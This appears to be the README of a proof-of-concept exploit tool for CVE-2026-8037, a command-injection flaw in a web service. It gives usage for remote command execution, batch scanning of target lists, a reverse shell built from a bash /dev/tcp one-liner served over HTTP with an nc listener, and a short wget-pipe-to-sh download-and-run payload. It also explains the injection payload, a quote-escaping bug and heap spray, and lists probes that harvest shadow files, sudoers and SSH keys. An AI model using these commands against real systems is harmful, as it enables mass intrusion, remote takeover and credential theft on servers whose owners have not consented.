CVE-2026-8037-POC

Includes executable command detection and one-click getshell (requires server deployment service) pco.yaml can be used with nuclei for quick detection

Quick Start

Interactive Mode

python go.py

Enter target URL → select function menu.

Detection Target

# Fast detect (8 basic info items)
python go.py -t https://IP:PORT --probe fast

# Deep detect (all commands: 30+ items)
python go.py -t https://IP:PORT --probe deep

# Batch detect
python go.py -f vulnerable_targets.txt --probe fast

Execute Command

python go.py -t https://IP:PORT -c "hostname"
python go.py -t https://IP:PORT -c "ls -la /root"
python go.py -t https://IP:PORT -c "cat /etc/passwd"

# Batch concurrent (20 threads)
python go.py -f targets.txt -c "hostname" --batch 20

One-click Reverse Shell

Open two terminals on the attack machine:

# Terminal 1 - HTTP server (serving rev.sh)
echo 'bash -i >& /dev/tcp/YOUR_IP/8088 0>&1' > index.html
python3 -m http.server 8087

# Terminal 2 - waiting for reverse shell
nc -lvnp 8088

Then send the payload:

# Single target
python go.py -t https://IP:PORT -l YOUR_IP -p 8087 -n 8088

# Batch (serial, only one at a time)
python go.py -f targets.txt -l YOUR_IP -p 8087 -n 8088

The script will print preparation steps before sending.

Deep Probe Content

Injection Principle

{"cmd":"getall","apiuser":"''''","apipass":"BBBBB",
 "g0":"AAAAAAAAAAAAAAAA'; <command> #", ...}

apiuser="''''" triggers escape_quotes() null termination bug
g0~g60 heap spray 61 times, improve success rate
'; <command> # closes the context, # comments out the rest

Length Limitation

Without echo tag, usable characters: 34

wget -O- IP:PORT|sh    (31 characters)

Pipeline: wget download → sh execute → bash reverse shell to specified port.

Basic Info	hostname, uname -a, kernel, OS release, uptime
Users	id, whoami, users/w/who
Network	ifconfig, route, arp, listening ports, connections, iptables
System	processes, cpuinfo, meminfo, disk, mount
Files	ls / /root /tmp /home /etc
Config	crontab, passwd, shadow, sudoers, SSH keys
Extensions	config search, scripts, docker, containers

`-t, --target URL`	Target URL
`-f, --file FILE`	Target list file
`-l, --lhost IP`	Attack machine IP
`-p, --lport PORT`	HTTP service port (default 8087)
`-n, --ncport PORT`	nc listen port (default 8088)
`-c, --cmd CMD`	Execute command
`--probe fast/deep`	Fast/Deep probe
`--batch N`	Batch concurrency (default serial)

CVE-2026-8037-POC

Most Popular

CVE-2026-8037-POC

Quick Start

Interactive Mode

Detection Target

Execute Command

One-click Reverse Shell

Deep Probe Content

Injection Principle

Length Limitation

Parameters Overview